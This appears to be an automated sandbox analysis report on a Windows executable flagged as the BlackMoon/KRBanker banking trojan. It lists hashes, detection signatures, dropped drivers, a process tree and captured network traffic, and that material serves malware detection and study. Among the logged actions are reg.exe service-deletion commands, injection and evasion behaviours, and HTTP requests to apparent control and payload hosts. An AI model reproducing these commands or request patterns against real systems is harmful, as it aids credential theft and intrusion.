Edit tour

Windows Analysis Report
1.exe

Overview

General Information

Sample name:	1.exe
Analysis ID:	1487923
MD5:	31c8b08626439c6e0eb963fcd0661126
SHA1:	8ef35270091c746d1e1da11149b1038b101802c9
SHA256:	ed7be0add55cb21570eb9d01fa9b10deec624f447c84e2fc09d3b351e7c190e3
Tags:	exe
Infos:

Detection

BlackMoon

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected BlackMoon Ransomware

AI detected suspicious sample

Allocates memory in foreign processes

Detected VMProtect packer

Found driver which could be used to inject code into processes

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies the DNS server

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

PE file has a writeable .text section

Sample is not signed and drops a device driver

Sample is protected by VMProtect

Tries to detect virtualization through RDTSC time measurements

Uses cmd line tools excessively to alter registry or file data

Writes to foreign memory regions

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to query locales information (e.g. system language)

Creates a process in suspended mode (likely to inject code)

Creates driver files

Creates files inside the system directory

Creates or modifies windows services

Deletes Internet Explorer cookies via registry

Deletes files inside the Windows folder

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Modifies existing windows services

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Yara signature match

Classification

Process Tree

System is w10x64

1.exe (PID: 6656 cmdline: "C:\Users\user\Desktop\1.exe" MD5: 31C8B08626439C6E0EB963FCD0661126)

F7BE15F582DD9.exe (PID: 5580 cmdline: "C:\Program Files (x86)\mozilla maintenance service\F7BE15F582DD9.exe" WfCSiyl7KCmSL4J0fXwpklp7KYEqfR6S3zx7JntO MD5: 0D79B45E55C20F14D9614596247B7DF2)

reg.exe (PID: 2804 cmdline: "C:\Windows\System32\reg.exe" delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\A633favQv /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

conhost.exe (PID: 6172 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 6008 cmdline: "C:\Windows\System32\reg.exe" delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\4CE0zvyEH /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

conhost.exe (PID: 4708 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 5316 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 428 cmdline: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
KrBanker, BlackMoon	ThreatPost describes KRBanker (Blackmoon) as a banking Trojan designed to steal user credentials from various South Korean banking institutions. It was discovered in early 2014 and since then has adopted a variety of infection and credential stealing techniques.	No Attribution	http://researchcenter.paloaltonetworks.com/2016/05/unit42-krbanker-targets-south-korea-through-adware-and-exploit-kits-2/ https://fidelissecurity.com/threatgeek/threat-intelligence/blackmoon-banking-trojan-new-framework/ https://www.peppermalware.com/2019/03/analysis-of-blackmoon-banking-trojans.html https://www.proofpoint.com/us/threat-insight/post/Updated-Blackmoon-Banking-Trojan https://www.rapid7.com/blog/post/2023/07/13/old-blackmoon-trojan-new-monetization-approach/	https://malpedia.caad.fkie.fraunhofer.de/details/win.krbanker

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\Desktop\I5F4E5C2742\A474748937\6528PJMNM.dll	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
C:\Users\user\Desktop\I5F4E5C2742\A474748937\6528PJMNM.dll	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0xcd53c:$s1: blackmoon 0xcd57c:$s2: BlackMoon RunTime Error:
C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\E392A1673\7D853zyts.dll	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\E392A1673\7D853zyts.dll	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x470fc0:$s1: blackmoon 0x471000:$s2: BlackMoon RunTime Error:

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000002.4602036796.000000000EAB2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
Process Memory Space: F7BE15F582DD9.exe PID: 5580	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security

Sigma Signatures

System Summary

Sigma detected: Modification of IE Registry Settings

Source: Registry Key set

Author: frack113: Data: Details: 3, EventID: 13, EventType: SetValue, Image: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe, ProcessId: 5580, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\SyncMode5

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5316, ProcessName: svchost.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 1.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\E392A1673\7D853zyts.dll	Avira: detection malicious, Label: TR/Inject.zdewt
Source: C:\Users\user\Desktop\I5F4E5C2742\B71793\8541KG870.dll	Avira: detection malicious, Label: HEUR/AGEN.1328190
Source: C:\Users\user\Desktop\I5F4E5C2742\G8B0663\7599UTVWP.dll	Avira: detection malicious, Label: HEUR/AGEN.1328190
Source: C:\Windows\SysWOW64\5942hcVWR.sys	Avira: detection malicious, Label: HEUR/AGEN.1360134
Source: C:\Windows\F7BE15F.sys	Avira: detection malicious, Label: HEUR/AGEN.1360134
Source: C:\Windows\SysWOW64\A633favQv.sys	Avira: detection malicious, Label: HEUR/AGEN.1360134
Source: C:\Windows\SysWOW64\4CE0zvyEH.sys	Avira: detection malicious, Label: HEUR/AGEN.1360134
Source: C:\Users\user\Desktop\I5F4E5C2742\A474748937\6528PJMNM.dll	Avira: detection malicious, Label: HEUR/AGEN.1328196

Multi AV Scanner detection for domain / URL

Source: sinacloud.net

Virustotal: Detection: 5%

Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\Desktop\I5F4E5C2742\A474748937\6528PJMNM.dll	ReversingLabs: Detection: 84%
Source: C:\Users\user\Desktop\I5F4E5C2742\B71793\8541KG870.dll	ReversingLabs: Detection: 78%
Source: C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\E392A1673\7D853zyts.dll	ReversingLabs: Detection: 61%
Source: C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\F141FC6\3E32331dd.dll	ReversingLabs: Detection: 41%
Source: C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\F141FC6\4EE1UTOOM.dll	ReversingLabs: Detection: 41%
Source: C:\Users\user\Desktop\I5F4E5C2742\EC942651\C903fcVWV.dll	ReversingLabs: Detection: 54%
Source: C:\Users\user\Desktop\I5F4E5C2742\G8B0663\7599UTVWP.dll	ReversingLabs: Detection: 78%
Source: C:\Windows\SysWOW64\5942hcVWR.sys	ReversingLabs: Detection: 83%

Multi AV Scanner detection for submitted file

Source: 1.exe	ReversingLabs: Detection: 36%
Source: 1.exe	Virustotal: Detection: 28%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\E392A1673\7D853zyts.dll	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\I5F4E5C2742\B71793\8541KG870.dll	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\F141FC6\4EE1UTOOM.dll	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\I5F4E5C2742\G8B0663\7599UTVWP.dll	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\5942hcVWR.sys	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\F141FC6\3E32331dd.dll	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\E2E4B6B5\331FPNNPK.exe	Joe Sandbox ML: detected
Source: C:\Windows\F7BE15F.sys	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\I5F4E5C2742\EC942651\C903fcVWV.dll	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\A633favQv.sys	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\4CE0zvyEH.sys	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\I5F4E5C2742\A474748937\6528PJMNM.dll	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 1.exe

Joe Sandbox ML: detected

Source: 1.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 1.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: F:\funny\GamePluginCtrl\Release\gamePluginCtrl.pdb<F source: F7BE15F582DD9.exe, 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2208452045.000000000E0E5000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2185370878.00000000063C4000.00000004.00000020.00020000.00000000.sdmp, 4EE1UTOOM.dll.2.dr, 3E32331dd.dll.2.dr
Source:	Binary string: \bin\xkSHWL.pdb source: F7BE15F582DD9.exe, 00000002.00000002.4606243171.000000000EC4E000.00000004.00000020.00020000.00000000.sdmp, 93DBkmnlf.dll.2.dr
Source:	Binary string: rl.pdb source: F7BE15F582DD9.exe, 00000002.00000003.2185370878.00000000063CC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \DPK.pdb source: F7BE15F582DD9.exe, 00000002.00000002.4654051565.00000000105EE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: DPK\bin\dlq.pdb source: F7BE15F582DD9.exe, 00000002.00000003.2099019893.000000000636A000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2099019893.000000000634D000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4675377087.0000000010B3E000.00000004.00000020.00020000.00000000.sdmp, C903fcVWV.dll.2.dr
Source:	Binary string: \GamePluginCtrl\Release\gamePluginCtrl.pdb source: F7BE15F582DD9.exe, 00000002.00000002.4586610970.000000000E5B2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: G:\projects\G\tools\emptyDll\Release\emptyDll.pdbEJ source: F7BE15F582DD9.exe, 00000002.00000002.4674195963.0000000010AFA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: F:\funny\GamePluginCtrl\Release\gamePluginCtrl.pdb source: F7BE15F582DD9.exe, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2208452045.000000000E0E5000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2185370878.00000000063C4000.00000004.00000020.00020000.00000000.sdmp, 4EE1UTOOM.dll.2.dr, 3E32331dd.dll.2.dr
Source:	Binary string: G:\projects\G\tools\emptyDll\Release\emptyDll.pdb @ source: F7BE15F582DD9.exe, 00000002.00000003.2092727525.000000000636E000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2092880536.000000000634C000.00000004.00000020.00020000.00000000.sdmp, A9CDXQRQR.dll.2.dr, 976457BEB.dll.2.dr, BA3CXXaVO.dll.2.dr
Source:	Binary string: DPK\bin\DPK.pdb source: F7BE15F582DD9.exe, 00000002.00000002.4622868714.000000000F0F4000.00000004.00000020.00020000.00000000.sdmp, 8001IF88B.dll.2.dr, A743A4x03.dll.2.dr
Source:	Binary string: \GamePluginCtrl\Release\gamePluginCtrl.pdb<F source: F7BE15F582DD9.exe, 00000002.00000002.4586610970.000000000E5B2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \bin\xkSHWL.pdbtc source: 93DBkmnlf.dll.2.dr
Source:	Binary string: rl.pdbO source: F7BE15F582DD9.exe, 00000002.00000003.2185370878.00000000063CC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: DPK\bin\JDClient.pdb source: 331FPNNPK.exe.2.dr
Source:	Binary string: G:\projects\G\tools\emptyDll\Release\emptyDll.pdb source: F7BE15F582DD9.exe, 00000002.00000002.4674195963.0000000010AFA000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2092727525.000000000636E000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2092880536.000000000634C000.00000004.00000020.00020000.00000000.sdmp, A9CDXQRQR.dll.2.dr, 976457BEB.dll.2.dr, BA3CXXaVO.dll.2.dr

Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	File opened: C:\Users\user\AppData\Local\Microsoft	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows\History\desktop.ini	Jump to behavior

Source: Joe Sandbox View	IP Address: 104.192.110.226 104.192.110.226
Source: Joe Sandbox View	IP Address: 163.171.132.119 163.171.132.119
Source: Joe Sandbox View	IP Address: 163.171.132.119 163.171.132.119

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: image/gif, image/jpeg, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, /Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: daofeng.8090cqg.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.sina.com.cnRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.baidu.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.jd.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.so.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.1688.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: youdao.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: soso.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.hao123.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.eastmoney.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: foodmate.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.jmw.com.cnRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.cdstm.cnRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.tencent.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.cctv.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2024-08-05/17_56 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: guangzhoucs.oss-accelerate.aliyuncs.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.hupu.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.jb51.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.autohome.com.cnRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /kss_admin/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNHost: yanzheng.appchizi.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /kss_admin/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNHost: yanzheng.appchizi.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /kss_admin/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNHost: yanzheng.appchizi.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /kss_admin/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNHost: yanzheng.appchizi.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /operate/18771 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: sinacloud.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /kss_io/io.php?v=13&b=1&s=10000025&e=get&line=1kstoken80597805589 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Accept-Language: zh-cnReferer: http://yanzheng.appchizi.com/User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; )Content-Length: 126Host: yanzheng.appchizi.com
Source: global traffic	HTTP traffic detected: GET /operate/11133 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: sinacloud.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.aliyun.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.kuaishou.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.sinacloud.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.douyin.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.qq.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.sogou.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.baidu.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.sohu.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.sina.com.cnRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.so.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.jd.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: soso.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.1688.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.hao123.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.cdstm.cnRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: foodmate.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: youdao.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.jmw.com.cnRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2024-08-05/17_56 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: huadongcs.oss-accelerate.aliyuncs.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /operate/24624 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: sinacloud.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /operate/24624 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: sinacloud.netRange: bytes=0-Connection: Keep-Alive
